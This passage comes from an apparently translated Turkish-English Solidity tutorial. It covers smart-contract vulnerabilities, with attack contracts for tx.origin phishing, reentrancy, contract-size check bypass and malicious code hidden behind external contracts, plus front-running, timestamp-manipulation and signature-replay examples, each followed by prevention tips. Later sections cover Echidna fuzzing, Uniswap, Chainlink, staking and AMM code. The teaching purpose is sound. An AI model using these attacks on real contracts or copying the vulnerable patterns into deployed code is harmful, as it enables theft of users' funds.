constructor(Wallet \_wallet) {

wallet = Wallet(\_wallet);

owner = payable(msg.sender);

}

function attack() public {

wallet.transfer(owner, address(wallet).balance);

}

}

### Önleyici Teknikler

 tx.origin yerine  msg.sender 'ı kullanın.

function transfer(address payable \_to, uint256 \_amount) public {

require(msg.sender == owner, "Not owner");

(bool sent, ) = \_to.call.value(\_amount)("");

require(sent, "Failed to send Ether");

}

## Harici Sözleşme ile Kötü Amaçlı Kodu Gizleme

### Vulnerability (Güvenlik Ağı)

Solidity'de herhangi bir adres belirli bir sözleşmeye dönüştürülebilir, adresteki sözleşme dökümü yapılan sözleşme olmasa bile.

Bu, kötü amaçlı kodu gizlemek için kullanılabilir. Nasıl olduğunu görelim.

In Solidity any address can be casted into specific contract, even if the contract at the address is not the one being casted.

This can be exploited to hide malicious code. Let's see how.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*Let's say Alice can see the code of Foo and Bar but not Mal.*

*It is obvious to Alice that Foo.callBar() executes the code inside Bar.log().*

*However Eve deploys Foo with the address of Mal, so that calling Foo.callBar()*

*will actually execute the code at Mal.*

*\*/*

*/\**

*1. Eve deploys Mal*

*2. Eve deploys Foo with the address of Mal*

*3. Alice calls Foo.callBar() after reading the code and judging that it is*

*safe to call.*

*4. Although Alice expected Bar.log() to be execute, Mal.log() was executed.*

*\*/*

contract Foo {

Bar bar;

constructor(address \_bar) {

bar = Bar(\_bar);

}

function callBar() public {

bar.log();

}

}

contract Bar {

event Log(string message);

function log() public {

emit Log("Bar was called");

}

}

*// This code is hidden in a separate file*

contract Mal {

event Log(string message);

*// function () external {*

*// emit Log("Mal was called");*

*// }*

*// Actually we can execute the same exploit even if this function does*

*// not exist by using the fallback*

function log() public {

emit Log("Mal was called");

}

}

### Önleyici Teknikler

* Yapıcı içinde yeni bir sözleşme başlatın
* Harici sözleşme kodunun gözden geçirilebilmesi için harici sözleşmenin ( public ) adresini herkese açık hale getirin.

Bar public bar;

constructor() public {

bar = new Bar();

}

## Honeypot

Honeypot, bilgisayar korsanlarını yakalamak için bir tuzaktır.

### Vulnerability (Güvenlik Ağı)

İki kötyü amaçlı kullanım, yeniden giriş ve kötü amaçlı kodu gizlemeyi birleştirerek, kötü niyetli kullanıcıları yakalayacak bir sözleşme oluşturabiliriz.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*Bank is a contract that calls Logger to log events.*

*Bank.withdraw() is vulnerable to the reentrancy attack.*

*So a hacker tries to drain Ether from Bank.*

*But actually the reentracy exploit is a bait for hackers.*

*By deploying Bank with HoneyPot in place of the Logger, this contract becomes*

*a trap for hackers. Let's see how.*

*1. Alice deploys HoneyPot*

*2. Alice deploys Bank with the address of HoneyPot*

*3. Alice deposits 1 Ether into Bank.*

*4. Eve discovers the reentrancy exploit in Bank.withdraw and decides to hack it.*

*5. Eve deploys Attack with the address of Bank*

*6. Eve calls Attack.attack() with 1 Ether but the transaction fails.*

*What happened?*

*Eve calls Attack.attack() and it starts withdrawing Ether from Bank.*

*When the last Bank.withdraw() is about to complete, it calls logger.log().*

*Logger.log() calls HoneyPot.log() and reverts. Transaction fails.*

*\*/*

contract Bank {

mapping(address => uint) public balances;

Logger logger;

constructor(Logger \_logger) {

logger = Logger(\_logger);

}

function deposit() public payable {

balances[msg.sender] += msg.value;

logger.log(msg.sender, msg.value, "Deposit");

}

function withdraw(uint \_amount) public {

require(\_amount <= balances[msg.sender], "Insufficient funds");

(bool sent, ) = msg.sender.call{value: \_amount}("");

require(sent, "Failed to send Ether");

balances[msg.sender] -= \_amount;

logger.log(msg.sender, \_amount, "Withdraw");

}

}

contract Logger {

event Log(address caller, uint amount, string action);

function log(

address \_caller,

uint \_amount,

string memory \_action

) public {

emit Log(\_caller, \_amount, \_action);

}

}

*// Hacker tries to drain the Ethers stored in Bank by reentrancy.*

contract Attack {

Bank bank;

constructor(Bank \_bank) {

bank = Bank(\_bank);

}

fallback() external payable {

if (address(bank).balance >= 1 ether) {

bank.withdraw(1 ether);

}

}

function attack() public payable {

bank.deposit{value: 1 ether}();

bank.withdraw(1 ether);

}

function getBalance() public view returns (uint) {

return address(this).balance;

}

}

*// Let's say this code is in a separate file so that others cannot read it.*

contract HoneyPot {

function log(

address \_caller,

uint \_amount,

string memory \_action

) public {

if (equal(\_action, "Withdraw")) {

revert("It's a trap");

}

}

*// Function to compare strings using keccak256*

function equal(string memory \_a, string memory \_b) public pure returns (bool) {

return keccak256(abi.encode(\_a)) == keccak256(abi.encode(\_b));

}

}

## Front Running

### Vulnerability (Güvenlik Ağı)

İşlemler, çıkarılmadan önce biraz zaman alır. Saldırgan, işlem havuzunu izleyebilir ve bir işlem gönderebilir, orijinal işlemden önce bir bloğa dahil edilmesini sağlayabilir. Bu mekanizma, işlemleri saldırganın avantajına olacak şekilde yeniden düzenlemek için kötüye kullanılabilir.

Transactions take some time before they are mined. An attacker can watch the transaction pool and send a transaction, have it included in a block before the original transaction. This mechanism can be abused to re-order transactions to the attacker's advantage.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*Alice creates a guessing game.*

*You win 10 ether if you can find the correct string that hashes to the target*

*hash. Let's see how this contract is vulnerable to front running.*

*\*/*

*/\**

*1. Alice deploys FindThisHash with 10 Ether.*

*2. Bob finds the correct string that will hash to the target hash. ("Ethereum")*

*3. Bob calls solve("Ethereum") with gas price set to 15 gwei.*

*4. Eve is watching the transaction pool for the answer to be submitted.*

*5. Eve sees Bob's answer and calls solve("Ethereum") with a higher gas price*

*than Bob (100 gwei).*

*6. Eve's transaction was mined before Bob's transaction.*

*Eve won the reward of 10 ether.*

*What happened?*

*Transactions take some time before they are mined.*

*Transactions not yet mined are put in the transaction pool.*

*Transactions with higher gas price are typically mined first.*

*An attacker can get the answer from the transaction pool, send a transaction*

*with a higher gas price so that their transaction will be included in a block*

*before the original.*

*\*/*

contract FindThisHash {

bytes32 public constant hash =

0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

constructor() payable {}

function solve(string memory solution) public {

require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer");

(bool sent, ) = msg.sender.call{value: 10 ether}("");

require(sent, "Failed to send Ether");

}

}

### Önleyici Teknikler

* Commit-reveal (taahhüt et- göster) şemasını kullanın.
* Submarine gönderimi kullanın.

## Zaman Damgası Manipülasyonunu Engelleme

### Vulnerability (Güvenlik Açığı)

block.timestamp can be manipulated by miners with the following constraints

* it cannot be stamped with an earlier time than its parent
* it cannot be too far in the future

block.timestamp  aşağıdaki kısıtlamalarla madenciler tarafından manipüle edilebilir

• ebeveyninden daha erken bir tarihle damgalanamaz

• gelecek çok uzak olamaz

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*Roulette is a game where you can win all of the Ether in the contract*

*if you can submit a transaction at a specific timing.*

*A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.*

*\*/*

*/\**

*1. Deploy Roulette with 10 Ether*

*2. Eve runs a powerful miner that can manipulate the block timestamp.*

*3. Eve sets the block.timestamp to a number in the future that is divisible by*

*15 and finds the target block hash.*

*4. Eve's block is successfully included into the chain, Eve wins the*

*Roulette game.*

*\*/*

contract Roulette {

uint public pastBlockTime;

constructor() payable {}

function spin() external payable {

require(msg.value == 10 ether); *// must send 10 ether to play*

require(block.timestamp != pastBlockTime); *// only 1 transaction per block*

pastBlockTime = block.timestamp;

if (block.timestamp % 15 == 0) {

(bool sent, ) = msg.sender.call{value: address(this).balance}("");

require(sent, "Failed to send Ether");

}

}

}

### Preventative Techniques (Önleyici Teknikler)

* Entropi ve rastgele sayı kaynağı için  block.timestamp  kullanmayın

## İmza Tekrarı

* Mesajları zincir dışı imzalamak ve bir işlevi yürütmeden önce bu imzayı gerektiren bir sözleşmeye sahip olmak yararlı bir tekniktir. Örneğin, bu teknik şu amaçlarla kullanılır:
* zincirdeki işlem sayısını azaltmak
* meta işlem ( meta transaction) adı verilen gazsız işlem

### Vulnerability

Same signature can be used multiple times to execute a function. This can be harmful if the signer's intention was to approve a transaction once.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

pragma experimental ABIEncoderV2;

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";

contract MultiSigWallet {

using ECDSA for bytes32;

address[2] public owners;

constructor(address[2] memory \_owners) payable {

owners = \_owners;

}

function deposit() external payable {}

function transfer(

address \_to,

uint \_amount,

bytes[2] memory \_sigs

) external {

bytes32 txHash = getTxHash(\_to, \_amount);

require(\_checkSigs(\_sigs, txHash), "invalid sig");

(bool sent, ) = \_to.call{value: \_amount}("");

require(sent, "Failed to send Ether");

}

function getTxHash(address \_to, uint \_amount) public view returns (bytes32) {

return keccak256(abi.encodePacked(\_to, \_amount));

}

function \_checkSigs(bytes[2] memory \_sigs, bytes32 \_txHash)

private

view

returns (bool)

{

bytes32 ethSignedHash = \_txHash.toEthSignedMessageHash();

for (uint i = 0; i < \_sigs.length; i++) {

address signer = ethSignedHash.recover(\_sigs[i]);

bool valid = signer == owners[i];

if (!valid) {

return false;

}

}

return true;

}

}

### Preventative Techniques (Önleyici Teknikler)

İletileri  nonce  (blok ödülü) ve sözleşme adresiyle imzalayın.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

pragma experimental ABIEncoderV2;

import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";

contract MultiSigWallet {

using ECDSA for bytes32;

address[2] public owners;

mapping(bytes32 => bool) public executed;

constructor(address[2] memory \_owners) payable {

owners = \_owners;

}

function deposit() external payable {}

function transfer(

address \_to,

uint \_amount,

uint \_nonce,

bytes[2] memory \_sigs

) external {

bytes32 txHash = getTxHash(\_to, \_amount, \_nonce);

require(!executed[txHash], "tx executed");

require(\_checkSigs(\_sigs, txHash), "invalid sig");

executed[txHash] = true;

(bool sent, ) = \_to.call{value: \_amount}("");

require(sent, "Failed to send Ether");

}

function getTxHash(

address \_to,

uint \_amount,

uint \_nonce

) public view returns (bytes32) {

return keccak256(abi.encodePacked(address(this), \_to, \_amount, \_nonce));

}

function \_checkSigs(bytes[2] memory \_sigs, bytes32 \_txHash)

private

view

returns (bool)

{

bytes32 ethSignedHash = \_txHash.toEthSignedMessageHash();

for (uint i = 0; i < \_sigs.length; i++) {

address signer = ethSignedHash.recover(\_sigs[i]);

bool valid = signer == owners[i];

if (!valid) {

return false;

}

}

return true;

}

}

*/\**

*// owners*

*0xe19aea93F6C1dBef6A3776848bE099A7c3253ac8*

*0xfa854FE5339843b3e9Bfd8554B38BD042A42e340*

*// to*

*0xe10422cc61030C8B3dBCD36c7e7e8EC3B527E0Ac*

*// amount*

*100*

*// nonce*

*0*

*// tx hash*

*0x12a095462ebfca27dc4d99feef885bfe58344fb6bb42c3c52a7c0d6836d11448*

*// signatures*

*0x120f8ed8f2fa55498f2ef0a22f26e39b9b51ed29cc93fe0ef3ed1756f58fad0c6eb5a1d6f3671f8d5163639fdc40bb8720de6d8f2523077ad6d1138a60923b801c*

*0xa240a487de1eb5bb971e920cb0677a47ddc6421e38f7b048f8aa88266b2c884a10455a52dc76a203a1a9a953418469f9eec2c59e87201bbc8db0e4d9796935cb1b*

*\*/*

## Sözleşme Boyutu Kontrolünü Atlama

### Vulnerability (Güvenlik Açığı)

Bir adres bir sözleşme ise, adreste depolanan kodun boyutu 0'dan büyük olur, değil mi?

 extcodesize  tarafından döndürülen kod boyutu 0'a eşit olan bir sözleşmeyi nasıl oluşturabileceğimizi görelim.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract Target {

function isContract(address account) public view returns (bool) {

*// This method relies on extcodesize, which returns 0 for contracts in*

*// construction, since the code is only stored at the end of the*

*// constructor execution.*

uint size;

assembly {

size := extcodesize(account)

}

return size > 0;

}

bool public pwned = false;

function protected() external {

require(!isContract(msg.sender), "no contract allowed");

pwned = true;

}

}

contract FailedAttack {

*// Attempting to call Target.protected will fail,*

*// Target block calls from contract*

function pwn(address \_target) external {

*// This will fail*

Target(\_target).protected();

}

}

contract Hack {

bool public isContract;

address public addr;

*// When contract is being created, code size (extcodesize) is 0.*

*// This will bypass the isContract() check*

constructor(address \_target) {

isContract = Target(\_target).isContract(address(this));

addr = address(this);

*// This will work*

Target(\_target).protected();

}

}

## Echidna

[Echidna](https://github.com/crytic/echidna) ile bulanıklık örnekleri.

1. Sağlamlık sözleşmesini  TestEchidna.sol olarak kaydedin.
2. Sözleşmenizin saklandığı klasörde aşağıdaki komutu yürütün.

docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox

Docker içinde, kodunuz şu adreste depolanacak: /code

1. Aşağıdaki yorumlara bakın ve  echidna-test  komutlarını yürütün.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*echidna-test TestEchidna.sol --contract TestCounter*

*\*/*

contract Counter {

uint public count;

function inc() external {

count += 1;

}

function dec() external {

count -= 1;

}

}

contract TestCounter is Counter {

function echidna\_test\_true() public view returns (bool) {

return true;

}

function echidna\_test\_false() public view returns (bool) {

return false;

}

function echidna\_test\_count() public view returns (bool) {

*// Here we are testing that Counter.count should always be <= 5.*

*// Test will fail. Echidna is smart enough to call Counter.inc() more*

*// than 5 times.*

return count <= 5;

}

}

*/\**

*echidna-test TestEchidna.sol --contract TestAssert --check-asserts*

*\*/*

contract TestAssert {

*// Asserts not detected in 0.8.*

*// Switch to 0.7 to test assertions*

function test\_assert(uint \_i) external {

assert(\_i < 10);

}

*// More complex example*

function abs(uint x, uint y) private pure returns (uint) {

if (x >= y) {

return x - y;

}

return y - x;

}

function test\_abs(uint x, uint y) external {

uint z = abs(x, y);

if (x >= y) {

assert(z <= x);

} else {

assert(z <= y);

}

}

}

### Test Süresi ve Gönderici

Echidna zaman damgasını değiştirebilir. Yapılandırmada zaman damgası aralığı ayarlanır. Varsayılan 7 gündür.

Sözleşme arayanlar da yapılandırmada ayarlanabilir. Varsayılan hesaplar;

* 0x10000
* 0x20000
* 0x00a329C0648769a73afAC7F9381e08fb43DBEA70

Varsayılan yapılandırmayı görmek için  [here](https://github.com/crytic/echidna/blob/master/examples/solidity/basic/default.yaml) ‘i tıklayın.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8;

*/\**

*docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox*

*echidna-test EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller*

*\*/*

contract EchidnaTestTimeAndCaller {

bool private pass = true;

uint private createdAt = block.timestamp;

*/\**

*test will fail if Echidna can call setFail()*

*test will pass otherwise*

*\*/*

function echidna\_test\_pass() public view returns (bool) {

return pass;

}

function setFail() external {

*/\**

*Echidna can call this function if delay <= max block delay*

*Otherwise Echidna will not be able to call this function.*

*Max block delay can be extended by specifying it in a configuration file.*

*\*/*

uint delay = 7 days;

require(block.timestamp >= createdAt + delay);

pass = false;

}

*// Default senders*

*// Change the addresses to see the test fail*

address[3] private senders = [

address(0x10000),

address(0x20000),

address(0x00a329C0648769a73afAC7F9381e08fb43DBEA70)

];

address private sender = msg.sender;

*// Pass \_sender as input and require msg.sender == \_sender*

*// to see \_sender for counter example*

function setSender(address \_sender) external {

require(\_sender == msg.sender);

sender = msg.sender;

}

*// Check default senders. Sender should be one of the 3 default accounts.*

function echidna\_test\_sender() public view returns (bool) {

for (uint i; i < 3; i++) {

if (sender == senders[i]) {

return true;

}

}

return false;

}

}

## Uniswap V2 Swap

### Swap (Takas)

Mümkün olduğu kadar çok çıktı jetonu için tam miktarda girdi jetonunu değiştirir.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract TestUniswap {

address private constant UNISWAP\_V2\_ROUTER =

0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

function swap(

address \_tokenIn,

address \_tokenOut,

uint \_amountIn,

uint \_amountOutMin,

address \_to

) external {

IERC20(\_tokenIn).transferFrom(msg.sender, address(this), \_amountIn);

IERC20(\_tokenIn).approve(UNISWAP\_V2\_ROUTER, \_amountIn);

address[] memory path;

if (\_tokenIn == WETH || \_tokenOut == WETH) {

path = new address[](2);

path[0] = \_tokenIn;

path[1] = \_tokenOut;

} else {

path = new address[](3);

path[0] = \_tokenIn;

path[1] = WETH;

path[2] = \_tokenOut;

}

IUniswapV2Router(UNISWAP\_V2\_ROUTER).swapExactTokensForTokens(

\_amountIn,

\_amountOutMin,

path,

\_to,

block.timestamp

);

}

}

interface IUniswapV2Router {

function swapExactTokensForTokens(

uint amountIn,

uint amountOutMin,

address[] calldata path,

address to,

uint deadline

) external returns (uint[] memory amounts);

}

interface IERC20 {

function totalSupply() external view returns (uint);

function balanceOf(address account) external view returns (uint);

function transfer(address recipient, uint amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint amount) external returns (bool);

function transferFrom(

address sender,

address recipient,

uint amount

) external returns (bool);

}

## Uniswap V2 Ekle/Kaldır Likidite

### Add / Remove Liquidity (Ekle/Kaldır Likidite)

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract TestUniswapLiquidity {

address private constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;

address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

function addLiquidity(

address \_tokenA,

address \_tokenB,

uint \_amountA,

uint \_amountB

) external {

IERC20(\_tokenA).transferFrom(msg.sender, address(this), \_amountA);

IERC20(\_tokenB).transferFrom(msg.sender, address(this), \_amountB);

IERC20(\_tokenA).approve(ROUTER, \_amountA);

IERC20(\_tokenB).approve(ROUTER, \_amountB);

(uint amountA, uint amountB, uint liquidity) = IUniswapV2Router(ROUTER)

.addLiquidity(

\_tokenA,

\_tokenB,

\_amountA,

\_amountB,

1,

1,

address(this),

block.timestamp

);

}

function removeLiquidity(address \_tokenA, address \_tokenB) external {

address pair = IUniswapV2Factory(FACTORY).getPair(\_tokenA, \_tokenB);

uint liquidity = IERC20(pair).balanceOf(address(this));

IERC20(pair).approve(ROUTER, liquidity);

(uint amountA, uint amountB) = IUniswapV2Router(ROUTER).removeLiquidity(

\_tokenA,

\_tokenB,

liquidity,

1,

1,

address(this),

block.timestamp

);

}

}

interface IUniswapV2Router {

function addLiquidity(

address tokenA,

address tokenB,

uint amountADesired,

uint amountBDesired,

uint amountAMin,

uint amountBMin,

address to,

uint deadline

)

external

returns (

uint amountA,

uint amountB,

uint liquidity

);

function removeLiquidity(

address tokenA,

address tokenB,

uint liquidity,

uint amountAMin,

uint amountBMin,

address to,

uint deadline

) external returns (uint amountA, uint amountB);

}

interface IUniswapV2Factory {

function getPair(address token0, address token1) external view returns (address);

}

interface IERC20 {

function totalSupply() external view returns (uint);

function balanceOf(address account) external view returns (uint);

function transfer(address recipient, uint amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint amount) external returns (bool);

function transferFrom(

address sender,

address recipient,

uint amount

) external returns (bool);

}

## Uniswap V2 Optimum Tek Taraflı Besleme

### Optimum Tek Taraflı Tedarik

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract TestUniswapOptimalOneSidedSupply {

address private constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;

address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

function sqrt(uint y) private pure returns (uint z) {

if (y > 3) {

z = y;

uint x = y / 2 + 1;

while (x < z) {

z = x;

x = (y / x + x) / 2;

}

} else if (y != 0) {

z = 1;

}

}

*/\**

*s = optimal swap amount*

*r = amount of reserve for token a*

*a = amount of token a the user currently has (not added to reserve yet)*

*f = swap fee percent*

*s = (sqrt(((2 - f)r)^2 + 4(1 - f)ar) - (2 - f)r) / (2(1 - f))*

*\*/*

function getSwapAmount(uint r, uint a) public pure returns (uint) {

return (sqrt(r \* (r \* 3988009 + a \* 3988000)) - r \* 1997) / 1994;

}

*/\* Optimal one-sided supply*

*1. Swap optimal amount from token A to token B*

*2. Add liquidity*

*\*/*

function zap(

address \_tokenA,

address \_tokenB,

uint \_amountA

) external {

require(\_tokenA == WETH || \_tokenB == WETH, "!weth");

IERC20(\_tokenA).transferFrom(msg.sender, address(this), \_amountA);

address pair = IUniswapV2Factory(FACTORY).getPair(\_tokenA, \_tokenB);

(uint reserve0, uint reserve1, ) = IUniswapV2Pair(pair).getReserves();

uint swapAmount;

if (IUniswapV2Pair(pair).token0() == \_tokenA) {

*// swap from token0 to token1*

swapAmount = getSwapAmount(reserve0, \_amountA);

} else {

*// swap from token1 to token0*

swapAmount = getSwapAmount(reserve1, \_amountA);

}

\_swap(\_tokenA, \_tokenB, swapAmount);

\_addLiquidity(\_tokenA, \_tokenB);

}

function \_swap(

address \_from,

address \_to,

uint \_amount

) internal {

IERC20(\_from).approve(ROUTER, \_amount);

address[] memory path = new address[](2);

path = new address[](2);

path[0] = \_from;

path[1] = \_to;

IUniswapV2Router(ROUTER).swapExactTokensForTokens(

\_amount,

1,

path,

address(this),

block.timestamp

);

}

function \_addLiquidity(address \_tokenA, address \_tokenB) internal {

uint balA = IERC20(\_tokenA).balanceOf(address(this));

uint balB = IERC20(\_tokenB).balanceOf(address(this));

IERC20(\_tokenA).approve(ROUTER, balA);

IERC20(\_tokenB).approve(ROUTER, balB);

IUniswapV2Router(ROUTER).addLiquidity(

\_tokenA,

\_tokenB,

balA,

balB,

0,

0,

address(this),

block.timestamp

);

}

}

interface IUniswapV2Router {

function addLiquidity(

address tokenA,

address tokenB,

uint amountADesired,

uint amountBDesired,

uint amountAMin,

uint amountBMin,

address to,

uint deadline

)

external

returns (

uint amountA,

uint amountB,

uint liquidity

);

function swapExactTokensForTokens(

uint amountIn,

uint amountOutMin,

address[] calldata path,

address to,

uint deadline

) external returns (uint[] memory amounts);

}

interface IUniswapV2Factory {

function getPair(address token0, address token1) external view returns (address);

}

interface IUniswapV2Pair {

function token0() external view returns (address);

function token1() external view returns (address);

function getReserves()

external

view

returns (

uint112 reserve0,

uint112 reserve1,

uint32 blockTimestampLast

);

}

interface IERC20 {

function totalSupply() external view returns (uint);

function balanceOf(address account) external view returns (uint);

function transfer(address recipient, uint amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint amount) external returns (bool);

function transferFrom(

address sender,

address recipient,

uint amount

) external returns (bool);

}

## Zincir Bağlantı (Chainlink) Kehaneti

### ETH / USD Price Oracle

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*// import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";*

contract ChainlinkPriceOracle {

AggregatorV3Interface internal priceFeed;

constructor() {

*// ETH / USD*

priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);

}

function getLatestPrice() public view returns (int) {

(

uint80 roundID,

int price,

uint startedAt,

uint timeStamp,

uint80 answeredInRound

) = priceFeed.latestRoundData();

*// for ETH / USD price is scaled up by 10 \*\* 8*

return price / 1e8;

}

}

interface AggregatorV3Interface {

function latestRoundData()

external

view

returns (

uint80 roundId,

int answer,

uint startedAt,

uint updatedAt,

uint80 answeredInRound

);

}

## Stake Ödülleri

Bu, kullanıcıları jetonlarını stake ettikleri için ödüllendiren bir sözleşmenin minimal bir örneğidir.

Kod, Synthetix  [StakingRewards.sol](https://github.com/Synthetixio/synthetix/blob/develop/contracts/StakingRewards.sol)'ün sadeleştirilmiş bir sürümüdür.

### Staking Rewards

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8;

contract StakingRewards {

IERC20 public rewardsToken;

IERC20 public stakingToken;

uint public rewardRate = 100;

uint public lastUpdateTime;

uint public rewardPerTokenStored;

mapping(address => uint) public userRewardPerTokenPaid;

mapping(address => uint) public rewards;

uint private \_totalSupply;

mapping(address => uint) private \_balances;

constructor(address \_stakingToken, address \_rewardsToken) {

stakingToken = IERC20(\_stakingToken);

rewardsToken = IERC20(\_rewardsToken);

}

function rewardPerToken() public view returns (uint) {

if (\_totalSupply == 0) {

return rewardPerTokenStored;

}

return

rewardPerTokenStored +

(((block.timestamp - lastUpdateTime) \* rewardRate \* 1e18) / \_totalSupply);

}

function earned(address account) public view returns (uint) {

return

((\_balances[account] \*

(rewardPerToken() - userRewardPerTokenPaid[account])) / 1e18) +

rewards[account];

}

modifier updateReward(address account) {

rewardPerTokenStored = rewardPerToken();

lastUpdateTime = block.timestamp;

rewards[account] = earned(account);

userRewardPerTokenPaid[account] = rewardPerTokenStored;

\_;

}

function stake(uint \_amount) external updateReward(msg.sender) {

\_totalSupply += \_amount;

\_balances[msg.sender] += \_amount;

stakingToken.transferFrom(msg.sender, address(this), \_amount);

}

function withdraw(uint \_amount) external updateReward(msg.sender) {

\_totalSupply -= \_amount;

\_balances[msg.sender] -= \_amount;

stakingToken.transfer(msg.sender, \_amount);

}

function getReward() external updateReward(msg.sender) {

uint reward = rewards[msg.sender];

rewards[msg.sender] = 0;

rewardsToken.transfer(msg.sender, reward);

}

}

interface IERC20 {

function totalSupply() external view returns (uint);

function balanceOf(address account) external view returns (uint);

function transfer(address recipient, uint amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint amount) external returns (bool);

function transferFrom(

address sender,

address recipient,

uint amount

) external returns (bool);

event Transfer(address indexed from, address indexed to, uint value);

event Approval(address indexed owner, address indexed spender, uint value);

}

## Sabit Toplam AMM

Sabit toplam AMM  X + Y = K

Jetonlar bire bir ticaret yapar.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract CSAMM {

IERC20 public immutable token0;

IERC20 public immutable token1;

uint public reserve0;

uint public reserve1;

uint public totalSupply;

mapping(address => uint) public balanceOf;

constructor(address \_token0, address \_token1) {

*// NOTE: This contract assumes that token0 and token1*

*// both have same decimals*

token0 = IERC20(\_token0);

token1 = IERC20(\_token1);

}

function \_mint(address \_to, uint \_amount) private {

balanceOf[\_to] += \_amount;

totalSupply += \_amount;

}

function \_burn(address \_from, uint \_amount) private {

balanceOf[\_from] -= \_amount;

totalSupply -= \_amount;

}

function \_update(uint \_res0, uint \_res1) private {

reserve0 = \_res0;

reserve1 = \_res1;

}

function swap(address \_tokenIn, uint \_amountIn) external returns (uint amountOut) {

require(

\_tokenIn == address(token0) || \_tokenIn == address(token1),

"invalid token"

);

bool isToken0 = \_tokenIn == address(token0);

(IERC20 tokenIn, IERC20 tokenOut, uint resIn, uint resOut) = isToken0

? (token0, token1, reserve0, reserve1)

: (token1, token0, reserve1, reserve0);

tokenIn.transferFrom(msg.sender, address(this), \_amountIn);

uint amountIn = tokenIn.balanceOf(address(this)) - resIn;

*// 0.3% fee*

amountOut = (amountIn \* 997) / 1000;

(uint res0, uint res1) = isToken0

? (resIn + amountIn, resOut - amountOut)

: (resOut - amountOut, resIn + amountIn);

\_update(res0, res1);

tokenOut.transfer(msg.sender, amountOut);

}

function addLiquidity(uint \_amount0, uint \_amount1) external returns (uint shares) {

token0.transferFrom(msg.sender, address(this), \_amount0);

token1.transferFrom(msg.sender, address(this), \_amount1);

uint bal0 = token0.balanceOf(address(this));

uint bal1 = token1.balanceOf(address(this));

uint d0 = bal0 - reserve0;

uint d1 = bal1 - reserve1;

*/\**

*a = amount in*

*L = total liquidity*

*s = shares to mint*

*T = total supply*

*s should be proportional to increase from L to L + a*

*(L + a) / L = (T + s) / T*

*s = a \* T / L*

*\*/*

if (totalSupply > 0) {

shares = ((d0 + d1) \* totalSupply) / (reserve0 + reserve1);

} else {

shares = d0 + d1;

}

require(shares > 0, "shares = 0");

\_mint(msg.sender, shares);

\_update(bal0, bal1);

}

function removeLiquidity(uint \_shares) external returns (uint d0, uint d1) {

*/\**

*a = amount out*

*L = total liquidity*

*s = shares*

*T = total supply*

*a / L = s / T*

*a = L \* s / T*

*= (reserve0 + reserve1) \* s / T*

*\*/*

d0 = (reserve0 \* \_shares) / totalSupply;

d1 = (reserve1 \* \_shares) / totalSupply;

\_burn(msg.sender, \_shares);

\_update(reserve0 - d0, reserve1 - d1);

if (d0 > 0) {

token0.transfer(msg.sender, d0);

}

if (d1 > 0) {

token1.transfer(msg.sender, d1);

}

}

}

interface IERC20 {

function totalSupply() external view returns (uint);

function balanceOf(address account) external view returns (uint);

function transfer(address recipient, uint amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint amount) external returns (bool);

function transferFrom(

address sender,

address recipient,

uint amount

) external returns (bool);

event Transfer(address indexed from, address indexed to, uint amount);

event Approval(address indexed owner, address indexed spender, uint amount);

}

## Sabit Ürün AMM

Sabit Çarpım AMM XY = K

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract CPAMM {

IERC20 public immutable token0;

IERC20 public immutable token1;

uint public reserve0;

uint public reserve1;

uint public totalSupply;

mapping(address => uint) public balanceOf;

constructor(address \_token0, address \_token1) {

token0 = IERC20(\_token0);

token1 = IERC20(\_token1);

}

function \_mint(address \_to, uint \_amount) private {

balanceOf[\_to] += \_amount;

totalSupply += \_amount;

}

function \_burn(address \_from, uint \_amount) private {

balanceOf[\_from] -= \_amount;

totalSupply -= \_amount;

}

function \_update(uint \_reserve0, uint \_reserve1) private {

reserve0 = \_reserve0;

reserve1 = \_reserve1;

}

function swap(address \_tokenIn, uint \_amountIn) external returns (uint amountOut) {

require(

